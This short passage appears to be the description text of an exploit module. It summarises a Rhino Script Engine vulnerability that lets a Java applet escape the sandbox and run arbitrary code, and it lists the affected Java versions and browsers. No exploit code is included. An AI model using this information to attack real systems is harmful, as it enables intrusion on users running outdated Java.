          This module exploits a vulnerability in the Rhino Script Engine that
          can be used by a Java Applet to run arbitrary Java code outside of
          the sandbox.  The vulnerability affects version 7 and version 6 update
          27 and earlier, and should work on any browser that supports Java
          (for example: IE, Firefox, Google Chrome, etc)
